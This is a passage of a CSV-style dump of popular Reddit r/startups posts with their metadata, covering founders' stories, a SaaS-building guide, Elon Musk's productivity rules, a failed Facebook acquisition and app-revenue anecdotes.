country for this company. After the initial lockdown, we had more clients than ever, so we kept hiring and kept growing. Then my CFO started and he cleaned up our accounting mess. Once I had clear insight into my numbers, he showed me that we could increase comp. I cried out of joy. So we gave some comp back to agents in July. It went well, but we were still earning trust back. My COO taught me invaluable lessons about facing the hard stuff straight on. So I started talking openly about it. If there is hard feedback, I give it immediately. He made me see how good it is to put the hard stuff out in the open and talk about it in front of the whole company. To be real, and transparent. It is the most important lesson I’ve learned. And the company is a better place and I am a better human because of it. We put in SO MUCH STRUCTURE. SO MANY SYSTEMS, SO MANY PROCESSES. Leadership was able to set us up for scale. We focused on our new mantra, “how do we help agents win”. The more our agents crush, the more comp we are able to give back as we gain efficiency. Lesson? Hire people before you need them. Inexperienced leadership can take down a company, and I am grateful that we didn’t have that fate but easily could have. By the end of 2020 we were slowly earning back the trust of our people. **2021: 530 people, on target for $40m+** We hired 400 people between November and March of 2021, and launched 2 additional markets. Our agent comp plans now have opportunities for our killer agents to make over $100k, with our top agents are making over $150k/year and we’re hiring another 500 people over the next 12 months. Lot’s of work to do but grateful to still be growing! Feel free to ask any questions or if you want me to elaborate on any of the struggles. I didn't go too into detail on the successes, mostly because you can see we had plenty with our revenue growth. Plus, if just one person can learn from my mistakes, that would be a win. Thanks for reading!",ccasrun,1058,251,1621532829,/r/startups/comments/nh6otg/how_i_bootstrapped_a_40m_company_overnight/,https://www.reddit.com/r/startups/comments/nh6otg/how_i_bootstrapped_a_40m_company_overnight/,self.startups,True,,,,, 7j7p2e,startups,Congress has set out a bill to stop the FCC taking away our internet. PLEASE SPREAD THIS AS MUCH AS YOU CAN.,,GaryARefuge,921,2,1513047878,/r/startups/comments/7j7p2e/congress_has_set_out_a_bill_to_stop_the_fcc/,https://www.congress.gov/bill/115th-congress/house-bill/4585,congress.gov,False,,,,, gmrgh0,startups,A step-by-step guide of how I would build a SaaS company right now - part 1,"**LET'S DO THIS!** I've been getting some questions recently from people that have reached out to me for advice and I wanted to pay it forward to the community. I've advised a ton of businesses from idea, to seed, to raising money and exiting. My focus is on business strategy, sales, and marketing. All around building repeatable processes and streamlining operations. This is what I advise my clients to do right now - **General thoughts about B2B and B2C** If you're B2B you're looking at either ongoing services or software and in some cases a little of both. If you're B2C you should be looking at consumable products, things people buy multiple times, with high LTV (lifetime value) customers or a product with a subscription element. **NO OTHER EXCEPTIONS HERE.** If you're selling into either businesses or consumers today, it's all about perceived value, which means there is some wiggle room depending on who you're selling to, BUT the following really should be held as foundational: These are pretty much the only reasons people buy things for B2B: 1. It saves them time (reduces friction or replaces a time consuming task) 2. Makes/saves them money (creates revenue/ adds value that lets them win business) 3. Adoption is simple for their workforce (is easy to incorporate into an existing workflow and anyone can use it/cost of switching in relearning) 4. Adds transparency and allows for bigger insights (provides data) 5. B2C additional one - provides them joy or enhances their life That's it. The most high growth businesses usually knock out at least two of the above. Really high growth companies hit four or more. Uber is an example of hitting just about all of them: 1. No need to call a cab company and hope they show up, know where they are 2. Saves them money, no more guessing on price and subsidized rides 3. Just download an app on your existing phone and add your cc number 4. Tells me where my ride is, how long until they come to me, and how much it will cost 5. Gives me an easy way to get a ride when parking is tough or drinking is involved because of their reliability This works for a lot of businesses though - and there are more than a few SaaS companies that I’m close with that have nailed the majority of them and are creeping up in clients and funding as a result in historically busy spaces. **Overall management advice because it’s more important than people think** Managing is tough, just because someone was a great employee doesn’t make them a great manager and just because someone is an executive doesn’t make them a great communicator. Respect that everyone has different ways of communicating. Two lessons I’ve learned from working with a ton of senior leadership. Internally, break down everything into little goals, constantly ask yourself ""What's my goal?"" when it relates to calls, emails, outreach, posting, hiring, meetings, etc. Make that shit your mantra then distill it down to the simplest form it can be. You should always strive for clear and concise communication throughout all interactions. If you disagree with a request or find it not in the best interest, agree anyway first, then raise questions about it. Remember, we’re all in this together and our goal as a company is to help everyone clearly articulate “What’s my goal?” at a micro level to encourage good communication. Record all your processes from day one - process is what sets apart winners and losers, always be looking to improve your processes because down the line you're going to be looking to automate these - having records of your approach and what worked and didn't will be invaluable while growing, scaling, or building systems to streamline your approach. There is a tool for everything, that doesn’t mean you should use every tool. Find what works for your team and what has the highest level of adoption, create good habits around using the tools that provide you the best organization. **Pep talk done let’s get down to business** When you're starting out the only things that matter are: Business strategy, partnerships, product, and marketing strategy. **IN THAT ORDER** Some of you will argue a team should be included, but I’m of the belief that if you nail all the above correctly, the people you have running it don’t matter as much. It’s more a matter of consistency and process than the people are executing. Today most smart businesses follow the same path: 1. Start with your revenue and monetization plan (are you targeting a sector that has money and can/will pay) 2. Align yourself with others in your space (cheapest way to get traction/credibility) 3. Work on road mapping your product to align with what complements your partnerships (cheapest distribution) 4. Work on building a marketing strategy that can help expose and align your brand while strengthening its recognition with your partners (will this make us both look good) 5. Build customer advocates along the way, tell their stories (lead with examples) **The above if done correctly massively increases your chances of success** Let’s go over them one by one. (this post only covers number 1 - let me know in the comments if you want me to write up 2 through 5) **REVENUE AND MONETIZATION - Will they pay? Do they have money?** The following three questions can help you quickly weed out your ideas: 1. Is what you’re building something that people are used to paying for? 2. Is the part of the business you’re looking at a cost center or a revenue generator? 3. Is what you’re providing a race to the bottom or increasingly a data play? You're answers should be, YES, Revenue Generator, Data Play. This is your best shot at success. Even a reduction in costs isn't as sexy all the time. Just compare your support budget to your marketing budget and these things become clear. Story time relevant to number 2 above - cost center v revenue generator We were using a series of three tools to automate a series of tasks we all hated. The three tools cost us around $1500 a month, the tools that did all the automation that we added, less than $200. We had to use the other tool either way but for $200 we were able to automate 80% of our work. To us we would have paid 10x for those solutions. The gap was we didn’t have any other good options to accomplish what we needed. I thought about building out a system and a product to fit this space, knowing the amount of savings this provided, but I ran into a problem - People weren't used to paying that amount for what we could provide, the part of the business was viewed as a cost center, and the data play is something that hadn't been used in that way before. Great idea, needed, proven out, but not marketable. You always want to be part of revenue creation - people are willing to pay more just about every time. Even really good ideas sometimes aren’t worth pursuing if the market conditions can’t support them. If you hit all the above three then we can move on to the best steps for getting this up and running. The steps for validating an idea 1. Market knowledge 2. Competitor research 3. Niche 4. Earmarked budget **Market Knowledge** Know the industry you're entering. Please, for the love of everything, only start a company if you have intimate domain experience. Put differently, if someone was looking for someone to present even at a local level around what you're building would you be able to speak articulately about it where people would respect your opinion because of past work you've done? If the answer is Yes, pat yourself on the back. If it is no, stop, don’t pass go, you’re stuck with two options - 1. Recruit someone to work with you that has enough domain knowledge for the both of you, or 2. Go get some experience in the field, then come back to your plan Far too often I talk to people that have had massive success or are really really smart, but they are taking on a project or product that is outside of their sweet spot. This leads to utter and total chaos and really is a waste of time and money in the vast majority of cases. Those that don’t know, partner. We’ll get to more of this in the second step, I’ve seen this work with companies where some groups lacked complete domain expertise. These were 3x CEOs and founders with healthy exits. This is harder to do, but works if you're smart about it. So what happens when a founder doesn’t have domain level experience especially in the early going, problems with go to market and validation, sometimes a general lack of understanding of business principles and market conditions. The result 99.9% of the time is that without domain expertise, founders end up misjudging the market massively and fail to provide the appropriate value. They often find themselves playing catch up and not in a good way, this is something that is easy to avoid, but hard to admit to oneself. I’m a huge proponent of learning an industry on the fly, but I feel like the better decision when possible is to get paid by someone else while you’re learning. But what about getting advisors and consultants to help me bridge the gap? I’ve seen this one in person, I’ve been part of this one, people don’t listen all the time. In some of the companies I’ve done work for, I’ve laid out what steps they should take, and watched as they fought back based on calculations that lacked all possible basis of being remotely possible losing millions of dollars in the process. The lack of domain expertise kills you when it comes to decision making if you’re not open to listening. But as an advisor, your job isn’t to make decisions for the teams, it’s to provide guidance and engage in conversations to bring issues to light and help people focus on goals. I've literally called business results months in advance in single meetings with executives only to watch things play out exactly how I predicted - usually negatively. **Competitor Research (this is just an overview - this is it's own post and a half)** The basics 1. Selling to someone that is using an existing solution is easier than enticing someone on a new concept or idea - cheaper too 2. If there's competitor there are easy ways to build entire spreadsheets of their client list 3. Look for industries within those client lists to build case studies around 4. Remember you're in the game of creating content - be a resource for your community 5. Qualify potential customers by using their opinions in your content marketing 6. Use existing platforms for distribution where possible (integrations anyone?) You have more competitors that you know when launching a product, even if you’re a market first, you’re going to quickly find that the barriers to entry are steep and if the market is big enough people will be able to out spend, out maneuver, and out shout you pretty quickly. This shouldn’t deter you, it just means you need to be smarter. Existing Providers Know the entire landscape for the type of product that you are creating. Know all the sort of competitors, talk to people and see what they are using, ask questions on Reddit and in other forums, understand who people know in the market. Then go to G2 and capterra and every other place that people talk about those products, scrape all the reviews with pros and cons - on some websites the reviewers even have linkedin links - go to their profiles learn about the companies they work for, the roles they have etc. There is so much data out there, work smart from the start. This is literally a post in it’s own or a chapter of a book. (if you’re reading this and you want me to break this down I can in another form). Correlate what your competitors do well, what they lack, and everything else in between. If you look up CRM you’ll see more than 250 listed probably more than 300 now, not including all the new ones like airtable and others that have popped up recently that aren’t direct traditional CRMs but just as useful. That’s a lot of space junk to get through. But there’s an easy way to get through it. **NICHE YOUR SHIT DOWN** The biggest problem that most companies have is being able to properly niche down to the most ideal customer profile first, then work to expand the market after the fact. Remember that perceived value comment from way above. So how do you find yourself in the best possible chance of creating something that you can do well with? Build something that people are paying for, generates revenue for the business, and includes a data play as icing on the cake that improves processes and decision making. This will never work in broad terms, you need to be specific. One of the most common missteps people have is saying, their product is for everyone or every business. **This is a red flag, don’t do this. Focus on doing one thing better than everyone else, look for data that supports a 10x uptick. This is basically required if you want someone to give your product a try as moving things over from an existing system are annoying.** Your product needs to be very narrow, when you think you’ve gone narrow, you need to go more narrow. Example: We’re a helpdesk product. v. We’re a helpdesk product for eCommerce companies. v. We’re a helpdesk product for eCommerce companies using Shopify. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation that have less than 100 skus. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation that have less than 100 skus and do less than $10 million in annual revenue. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation that have less than 100 skus and do less than $10 million in annual revenue with support teams less than 5 people. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation that have less than 100 skus and do less than $10 million in annual revenue with support teams less than 5 people who are looking to automate their processes. v. We’re a helpdesk product for eCommerce companies using Shopify and Shipstation that have less than 100 skus and do less than $10 million in annual revenue with support teams less than 5 people who are looking to automate their processes who are currently using Zendesk. Just keep going deeper. There are perks to going deeper - The deeper you go usually the less competition you have - the more specific and tailored the easier the sales pitch is because you spend time creating things to help with workflows that relate to how they are working. When you know these workflows it's easier to have meaningful conversations. I’ve harped on the idea of process the entire time. And I’m going to continue to do it. Build things to simplify processes and watch people sign up and pay you to solve their problems. The ideal solution is turnkey that works with all the workflows people have or simplifies them with the amount of tools out there find the ones that you want to be part of the process with and integrate deeply. **Earmarked Budget** Is the budget expanding, will it be expanded if you can tie results back to your product? This is actually really important because it comes to the ability to grow an account once you are in the account. Some businesses are better than others. If you’re a support desk product like above, and you reduce the amount of work people need to do, you’re reducing seats, if you can’t add features and other elements to increase the revenue per account or the size of the support team you’ve actually tapped out. This is the argument behind being a revenue generation company rather than a cost center. When it comes to a cost center it’s a race to the bottom and kills expansion, it forces you to always be acquiring new customers to increase revenue. This should be plenty to digest as you're thinking of ideas to pursue. Let me know your thoughts in the comments, hope this helps people out. **I've got to stop here, we hit question 1 of 5 and we've barely scratched the surface.** **Part 2 is now live** [HERE](https://www.reddit.com/r/startups/comments/gr05kk/a_stepbystep_guide_of_how_i_would_build_a_saas/) **Part 2.5 is now live** [HERE](https://www.reddit.com/r/startups/comments/gzwdtx/a_stepbystep_guide_of_how_i_would_build_a_saas/) **Part 3 is now live** [HERE](https://www.reddit.com/r/startups/comments/hf4ph4/a_stepbystep_guide_of_how_i_would_build_a_saas/) **Part 4 is now live** [HERE](https://www.reddit.com/r/startups/comments/hro693/a_stepbystep_guide_of_how_i_would_build_a_saas/)",lickitysplitstyle,869,130,1589904387,/r/startups/comments/gmrgh0/a_stepbystep_guide_of_how_i_would_build_a_saas/,https://www.reddit.com/r/startups/comments/gmrgh0/a_stepbystep_guide_of_how_i_would_build_a_saas/,self.startups,True,,,,, 8dv2rq,startups,Elon Musk’s 6 productivity rules from a letter he sent to Tesla employees,"Elon Musk is a productivity machine \- works 100 hr weeks, is the CEO of two companies and sleeps at his office \- and in a powerful letter to his employees, he explains his 6 tips that keep him productive throughout the day. Here are the 6 tips: **1.Nix big meetings** ""Excessive meetings are the blight of big companies and almost always get worse over time. Please get \[out\] of all large meetings, unless you're certain they are providing value to the whole audience, in which case keep them very short."" **2.Ditch frequent meetings too** ""Also get rid of frequent meetings, unless you are dealing with an extremely urgent matter. Meeting frequency should drop rapidly once the urgent matter is resolved."" **3.Leave a meeting if you're not contributing** ""Walk out of a meeting or drop off a call as soon as it is obvious you aren't adding value. It is not rude to leave, it is rude to make someone stay and waste their time."" **4.Drop jargon** ""Don't use acronyms or nonsense words for objects, software or processes at Tesla. In general, anything that requires an explanation inhibits communication. We don't want people to have to memorize a glossary just to function at Tesla."" **5.Communicate directly, irrespective of hierarchy** ""Communication should travel via the shortest path necessary to get the job done, not through the 'chain of command'. Any manager who attempts to enforce chain of command communication will soon find themselves working elsewhere. ""A major source of issues is poor communication between depts. The way to solve this is allow free flow of information between all levels. If, in order to get something done between depts, an individual contributor has to talk to their manager, who talks to a director, who talks to a VP, who talks to another VP, who talks to a director, who talks to a manager, who talks to someone doing the actual work, then super dumb things will happen. It must be ok for people to talk directly and just make the right thing happen."" **6.Follow logic, not rules** ""In general, always pick common sense as your guide. If following a 'company rule' is obviously ridiculous in a particular situation, such that it would make for a great Dilbert cartoon, then the rule should change.""",alex-bettermind,854,124,1524308341,/r/startups/comments/8dv2rq/elon_musks_6_productivity_rules_from_a_letter_he/,https://www.reddit.com/r/startups/comments/8dv2rq/elon_musks_6_productivity_rules_from_a_letter_he/,self.startups,True,,,,, l654ng,startups,How we almost got acquired by Facebook and failed. Here's what I learned.,"&#x200B; This is not a happy ending story. &#x200B; ## The beginning It all started back in 2014. I had a startup whose clients were advertisers. It was a platform for users to review video ads in exchange for online points that could be redeemed for money or coupons. Watch and ad; rate it; be rewarded. Simple. After 100 campaigns I kept hearing it would be wonderful to connect their offline ads (e.g. TV ads, billboards, magazines, etc) with our platform. Advertisers wanted real insights and analytics from their offline advertising investment. As dedicated founders we started working hard on this concept: “from offline to online with your phone”. Within 4 months we had our first version. I remember showing it to our friends and constantly hearing “Wow this is brilliant! It’s like Shazam but for videos”. I was ecstatic! &#x200B; ## The investment The revenue was coming in but it wasn’t recurrent. It was difficult to enter the yearly advertising budget. Advertisers assumed our platform as an experiment (mainly to get feedback) and not as a serious distribution channel — despite the fact we picked at 100,000 registered users. We needed investment to grow and build the new technology’s infrastructure. It wasn’t cheap to maintain a technology that recognized millions of videos within 4s. More on this latter. In 2015 we raised $0.5M from angels and led by a VC. This allowed us to grow our team to 7 members and accelerate product development. We were ready to storm the world! &#x200B; ## The pivot In retrospect, our product decisions after the investment killed our startup. We shifted our focus from the local videos ads review platform — where we had 100k users and 60 clients — to a global video recognition consumer product. We created an App — like Shazam — that recognized millions of videos. Our goal was to have advertisers make their offline assets interactive and invite their audience to download our App and use it to unlock “something”. The practical end was the same as the QR code. How cool is that? Scan a video and “*magically”* show related content on your screen? Exciting, right? Wrong. Very few people downloaded the App. It turns out the barrier of downloading the App was too much for the reward (whatever the brand wanted to offer). Don’t get me wrong, we did some cool campaigns with Kia, Unilever, or Volkswagen. But again these were one-shot campaigns. Basically an investment in innovation from the brands. After long days discussing our future, we thought of something. What if our technology was embedded in native apps like Snapchat, Facebook, IMDB, or even in the Operating Systems of mobile devices — Android and iOS? This would mean everyone could easily interact with their offline environment and get something in return. Brilliant! &#x200B; ## Interactive The Walking Dead This is now 2016 and we had a new strategy. White-label our technology and allow anyone to embed it in their platforms. We built SDKs for Web, Android and iOS and off we went searching for customers. One of our main goals was to have TV shows interactive. Allow viewers to point their phone to the TV and delight them with a new experience. In this quest, I scrapped all my network, cold reach on Linkedin, went to conferences, traveled between London, New York and San Francisco. I ended up talking to all major TV networks — Comcast, BBC, FOX, PRISA, Viacom, CNN — and closed a contract with FOX. This was a pilot experiment where FOX would use Portugal as an assessment market. It took us 9 months (!) to close the contract. Even so, we started to see the light at the end of the tunnel. The worst part was over, we could take our learnings from our local pilot and catapult it to the world. We will change how people consume TV and will take our place in the TV innovation history. We were ready to build a $1B company. After several negotiations with FOX we were able to add our technology to three shows: The Walking Dead, MacGyver and Prison Break. What a victory! All the major shows were interactive. FOX will advertise the shows are interactive, people will scan the TV and have an amazing, memorable experience. Win-win-win. When the first results started to come in… well let’s take a detour first and come back to the results later. &#x200B; ## Entering Facebook During 2016 I was mainly traveling demoing our technology to as many people as I could. Besides TV networks I’ve met with Google, Amazon, Snapchat, Verizon, Blippar and Facebook. Our goal was to integrate the technology in their existing apps and make their users interact with the world connecting the offline and the online seamlessly. The main feedback was something like: “amazing technology, great demo! But (there’s always a but) something like this isn’t on our product roadmap”. Except for Facebook… It was late 2016 and I’ve met with a Business Developer Director. Here’s how it went: >*(After I’ve demoed the technology)* > >*Director*: Wait, can I try it? > >*Me: Sure, here’s my phone.* > >*(Director takes the phone and scans the video. The phone showed information about the actor from the exact second Director scanned. Director stays hesitant for a couple of seconds…).* > >*Director: I need this.* > >*Me: Uhh… Ok!(My mind was like: Errr, what, how, can I ask… Wait, what?)* > >*Director: Here’s the deal. We have a huge problem right now. We launched Facebook Watch recently and are having a lot of copyright infringements on the platform. We need to build something like YouTube’s ContentID.* [*More info here*](https://www.engadget.com/2016-12-29-facebook-is-working-on-copyright-system-to-battle-infringement.html)*.* > >*Me: Ok, we can definitely help.* > >*Director: I’ll put you in contact with the product team responsible for this and they’ll take it from there. We are evaluating acquisitions in this space to speed up our go-to-market.* &#x200B; After exiting the meeting I vividly remember the next five minutes. As I went through the lobby I decided to seat on a couch to recover from the excitement. There I was, all alone, in one of the most incredible buildings in Menlo Park after a meeting in one of the biggest tech companies in the world. I found myself looking at the ceiling and smiling for no apparent reason. &#x200B; ## The M&A process After the Facebook meeting, we discovered we had a potential new market to unveil: copyright infringements detection. Users uploaded copyrighted content with small changes (e.g. by tempering with the audio pitch, by slightly rotating the video and by changing the original video with many different techniques) to bypass Facebook’s algorithms. Because our technology was designed from scratch to recognize videos from low-resolution images, we were pretty effective in recognizing tempered videos. We recognized videos that were rotated, mirrored or cropped. Our algorithm didn’t use audio. We even recognized a bunch of different videos inside one. Here’s a demo with a) 10 trailers in the same video and b) a rotating video. We arrived in 2017 with our FOX partnership generating mediocre results. No relevant revenue was coming in and the user interaction data wasn’t exciting. We learned that people need a huge reward expectation to take the effort of scanning the TV. Without undisputed usage from viewers, FOX was gradually losing interest in pushing the technology and the opportunity faded during the rest of 2017. In February we started talking with the Facebook team. They wanted to test our technology at scale. We thought it was a fair request and agreed to be tested without any compensation. We signed NDA’s and were comfortable enough discussing the internals of how our technology works. After a couple of meetings to discuss the technology, Facebook started to test us with hundreds of hours at a scale we were never able to test before. It was scary as hell! We were all extremely nervous to see if the servers’ architecture wouldn’t crash. When the first results started to come in we were shocked… 95% accuracy and 0.13% false positives. This was incredible for us! This was paired with the [audio industry leader](https://www.tandfonline.com/doi/abs/10.1080/10588167.2016.1167426): Shazam. My eyes started to tear up. We were tremendously proud and happy about this achievement. Facebook wasn’t… >*Thanks for following up with us. It was a great experience working with your team and we think there is a great potential for your company and service.* > >*We want to provide an update about the evaluation result. From the result, overall we see a good coverage and recall, and your team solved the problems real fast. However, due to low precision and high false positive rate,  we decided not to moving forward to the next stage of the evaluation.* > >*Thanks for your time and effort. I am sure our career will get crossed in the future* Caption: Facebook’s engineer email rejecting us &#x200B; Did you feel that punch in the stomach? I surely felt it. It was so unfair to have amazing results on our side and receive this email. When we asked about the differences — to understand what went wrong on our side — we got this: &#x200B; >*Facebook has our own metrics and process to evaluate the product value of the algorithm. But due to the policy, we are not allowed to share with you. My colleague’s point is the final result. Look forward to getting chance to work with you guys in the future.* Caption: Facebook’s lead engineer email **really** rejecting us We felt kind of used and disrespected to be honest. Remember this was a two months process with several emails and calls between us. It was one of the most difficult moments of my professional life mainly because of the expectations I’ve built. We were devastated. I was immature enough and almost took it personally. At the end of the day, it was business as usual for a big company like Facebook — they ended up [acquiring Source3](https://techcrunch.com/2017/07/24/facebook-source3/) to help them solve the problem. For us, it was a Technical Knock Out. If someone from a big company is reading this and it sounds familiar, please take a moment to rethink the way you say no to a startup. Especially if you’ve been interacting daily or weekly for the past months. Invite them for a meeting or call and explain them the general decision process. It will take you half an hour and it will make a huge difference for the startup. Believe me on this… Unfortunately, after this, we weren’t having solid revenue from our FOX partnership. After discussing with our lead investor we decided to close our doors in an unfortunate ending to what could have been a tremendous success. &#x200B; ## Lessons Learned So many lessons learned! We could have done so much differently. It was a rollercoaster ride with so much emotional commitment. It’s a challenging exercise but I’ll try to generally sum up the main learnings from the whole journey. Here’s what I learned: * The line that defines success and failure is extremely thin. * If you are being evaluated (by customers, partners or possible acquirers) define success KPIs beforehand. That way everyone will have the same common ground. * Don’t put all your eggs (expectations) into one basket. * Stick to what is working, i.e., work on what people want and measure it with data; not words nor promises. * Be kind to everyone. If you feel disrespected or hurt, take a step back. Take some time to breathe and don’t reply right away. Time heals everything and gives your perspective. * Don’t take life too seriously. Be patient but persistent. &#x200B; Despite all learnings, the cold reality is that this was a failed startup… but I’m trying it again. This time I’m doing things differently. &#x200B; ***Hope you guys had a good read and learned a thing or two :) Let me know if you have any questions.*** &#x200B; &#x200B; EDIT: I'm overwhelmed by your feedback, support and love. Thank you so much! I've been getting a lot of questions about my next step / startup. [Follow me at Twitter](https://twitter.com/joaodmj) as I continue to share my learnings and document my journey as a founder.",johndamaia,776,170,1611756220,/r/startups/comments/l654ng/how_we_almost_got_acquired_by_facebook_and_failed/,https://www.reddit.com/r/startups/comments/l654ng/how_we_almost_got_acquired_by_facebook_and_failed/,self.startups,True,,,,, eq7jq6,startups,"You don't need a brand new never seen product, you don't need to undercut your competition. My experience starting my first business.","Hey guys, over the last few months, this subreddit gave me a lot of value and now it's my turn to give back to the community, I hope this is useful for someone. Like a lot of other people, I was a wantrepreneur for at least 2 years, constantly thinking about founding companies but never actually doing it because I thought the idea wasn't good enough. 6 months ago I then founded my first company together with a good friend of mine, our main business is privacy filters and screen protectors. Now you will think, this guy brainstormed for 2 years and the best he came up with is selling screen protectors? That is the point, your product doesn't have to be new or super innovative, creating truly new products costs millions and years of time. Always remember that competition validates the market and tells you that there is actually money to earn with the product. So how do we make money if the market is that saturated? How do you compete with the dumping prices of huge corporations that order huge quantities? Well, we don't. I am sure a lot of people here read the 4-Hour-Work-Week by Tim Ferris, I don't think its the best business book there is, he beats around the bush quite a lot and there isn't to much value to get from the book, but one advice Tim gives was actually huge for us: Don't undercut your competition, set a medium-high to high price and make sure your product quality is worth it. There are tons of people selling screen protectors for 5 bucks on Amazon, and most of them are mediocre at best, people that sell high priced screen protectors and guarantee great quality, not so much. Most of them are Chinese sellers, offering no real customer support. So how do you offer high quality? We sampled a shit ton of screen protectors, expensive one's cheap ones, medium-priced ones, the most expensive one we tested was actually the best so we ordered them, I don't know for a fact but I am almost certain we pay 4 x the price per screen protector our competitors pay, but I swear its worth it. We paid a designer to make really nice packaging that looks quality and made sure our printing guy does sturdy and quality looking prints. Customer Support: This is huge! A lot of our competitors are Chinese companies that have no real customer support. If somebody writes us an email during business hours, it will get answered within 15 minutes. If your product is faulty, we send a new one without complaint. If you applied your screen protector wrong or broke it, doesn't matter we send a new one. Your dog chewed on your screen protector before you could apply it, we replace it. We answer every question on Amazon, we answer every negative feedback on amazon and offer refunds. How are we able to do this and still make money? Well, we are more expensive than the competition and make more money per sale, thus a replacement doesn't hurt us much, we can replace 3 times including shipping until a sale ends up a net loss for us. Everybody loves numbers: For the number guys here are some numbers Starting investment: 2,000$ Revenue/monthly: 6,500$ Profit/monthly: 3,000$ Sales-growth/monthly: 12% I hope this was helpful for someone, thanks for all the great posts in this subreddit.",ilovevue,768,144,1579299793,/r/startups/comments/eq7jq6/you_dont_need_a_brand_new_never_seen_product_you/,https://www.reddit.com/r/startups/comments/eq7jq6/you_dont_need_a_brand_new_never_seen_product_you/,self.startups,True,,,,, jvqtre,startups,After losing $38676 as an entrepreneur. I can't do it anymore. I quit.,"Around a year ago I left my job to start a company. I had around $12K in savings. Enough to cover a year of expenses and a bit more. I stopped spending money on almost everything. How hard could that be, right? I create something, find 10-20 clients, and done. I'll make $1K per month and from there grow it to $20K MRR. No problem. Well. It didn't work that way. You all know that. I didn't. I was naive and I think I am not the only one who thinks like that. News? Success stories? Books on self-help? podcasts? Guilt it of all of that. I thought I was smart enough. If others could do it... me? Even better. Well. I am broke now. I hate the projects I created. I hate that I spent all my money and didn't make a dollar (well I made around $60, which is even more painful than $0) not from my projects, not from a client or a company. So the real cost is more than the money I lost. I made my girlfriend stay home for a year, we didn't do anything, we didn't buy clothes and ate the cheapest food. I feel that I have lost a year of my life. I know how to create software and how to manage a product from zero but: * Every time that I want to promote something, my stomach hurts. * If I share an article about my projects I feel anxious for a week. * When I go to a Facebook Group to suggest my apps, I feel sick. * If I send a private message on Twitter or Linkedin, I can't sleep. I think people are going to hate me, tell me that I am an idiot, a fake entrepreneur, that my ideas are terrible, that I suck. And they did many times, and I can't handle that while making $0. So, I quit. I always wanted to write more. I love it. But I felt that I couldn't write if I wasn't successful. But I guess there are no rules.",jrleonr,733,337,1605609217,/r/startups/comments/jvqtre/after_losing_38676_as_an_entrepreneur_i_cant_do/,https://www.reddit.com/r/startups/comments/jvqtre/after_losing_38676_as_an_entrepreneur_i_cant_do/,self.startups,True,,,,, 17ntami,startups,A very famous billionaire just trademarked the name of my app,"So without getting into any specifics a very famous billionaire just trademarked the name of an app I released earlier this year and announced intentions to release an app with that name filling a similar niche. I did some brief research and found I might have senior rights to the name since I launched first. Worst case scenario I can just change the name, but if I have legal rights to the name I don't want to just change it without investigating all of my options. What would you do in this situation? I'm guessing the answer is talk to a lawyer ASAP? If so what type of lawyer would you look for?",spline_reticulator,724,212,1699126195,/r/startups/comments/17ntami/a_very_famous_billionaire_just_trademarked_the/,https://www.reddit.com/r/startups/comments/17ntami/a_very_famous_billionaire_just_trademarked_the/,self.startups,True,,,,, hp3j8y,startups,Stop asking how to get money to build your 'idea'. If you are a solo founder and can't build something on your own NO ONE will fund you.,[removed],[deleted],720,166,1594439903,/r/startups/comments/hp3j8y/stop_asking_how_to_get_money_to_build_your_idea/,https://www.reddit.com/r/startups/comments/hp3j8y/stop_asking_how_to_get_money_to_build_your_idea/,self.startups,True,,,,, 1ddjeiv,startups,Does anyone here actually use AI within their startup?,[deleted],[deleted],717,152,1718125865,/r/startups/comments/1ddjeiv/does_anyone_here_actually_use_ai_within_their/,,,True,,,,, r7crh7,startups,"PSA: ""This already exists"" is a terrible reason to abandon an idea","I see this flood comments across business subreddits, mostly by people who more than likely have never actually scaled a successful business themselves. **The truth is the opposite.** Competition gives you pre-launch validation. So instead of having to train a customer on an entirely new experience, you can learn from and improve upon what's already out there. Just offer a mild, niche point of difference\* to get early traction. \*Point of difference does not always mean product feature. It also can mean marketing, sales, or operations. You can offer the exact same experience but have an untapped marketing strategy, or maybe you just have a deeper network of leads. If anything, you should be scared of ideas that are too original, because it's going to be expensive to train users on what to do with your product. Not a reason to abandon the idea by any means, but it's something you should consider. And truthfully most the ideas we think of as original aren't. It's just the version of the idea that got the most press. My personal success comes from launching into *very* saturated app categories. But setting aside my anecdote, there's— * Facebook launched against Myspace, Friendster, and LinkedIn * Google against WebCrawler, Lycos, Yahoo, AskJeeves, AltaVista, fucking Dogpile * VRBO had been around for 13 years before Airbnb * I hope I don't need to tell anyone how many mp3 players existed before the iPod I honestly think you'd have a harder time finding a successful business that *didn't* enter a competitive field. The caveat I would add to all this is to watch out for ideas with a clear dominant player. E.g., it would be hard to launch a search engine against Google in 2021. But even still, there's room to disrupt. Look at DuckDuckGo, basically just pulling its search results from various APIs of existing products. They're sitting on a $100M valuation. You don't have to win the category to be successful. Moral of the story, don't set the bar so fucking high for yourself and just try something. Believe in yourself, etc. End rant.",yes_but_not_that,715,105,1638466845,/r/startups/comments/r7crh7/psa_this_already_exists_is_a_terrible_reason_to/,https://www.reddit.com/r/startups/comments/r7crh7/psa_this_already_exists_is_a_terrible_reason_to/,self.startups,True,,,,, a97q34,startups,"From a sucky accounting job to doing $1.4 million dollars a year with my mobile app 4 years after launch! (And I can't write a single line of code). How I did it, and what’s next!","Pull up a chair family! I’m going to peel back the layers to show that this stuff is actually doable. And while we’re not making 10’s of millions like some other apps yet, I think we have a real path to get there. We’re growing at a measured and manageable rate, are completely bootstrapped, have not taken on a penny of investment, have zero debt, healthy margins, and own 100% of the company. This is a post on how I did it. (Read time: ~15 minutes). Revenue upfront: (Had an imgur link to revenue but mods made me remove it) (You can click the links and see our numbers updated in real time as well on baremetrics. I know the skepticism is real on Reddit lol.) QUICK BACKSTORY AND HOW I FIGURE OUT WHAT TO BUILD! So I wanted to build an app for a local service business. i.e An app that cleaning companies and lawncare companies and painting companies etc. would use. I already owned a local service business and felt I could create something that first would be a tool that I could use and then make it available for other people if it worked out. (Super awesome if you could be customer #1 for what you're building). Anyhow, when appraising an idea I use this point system I came up with and assign points based on the following metrics: 1) 10 points if there is a LOT of competition doing the same thing 2) 10 points if you can point to folks making MILLIONS! 3) 10 points if it's a service/software instead of product 4) 10 points if you can get customers 60 days from now 5) 10 points if there is a chance for automatic recurring revenue 6) 10 points if the price of the thing is over $50 7) 10 points if the thing is unsexy, boring, but people NEED it 8) 10 points if it's something you've bought yourself 9) 10 points if the thing is less than 13 ozs (If it's a product) or you can divorce it from your time if it's a service . 10) 10 points if you can explain what it is in 5 words and a 5 year old would understand. ==== Closest to 100 wins! ==== 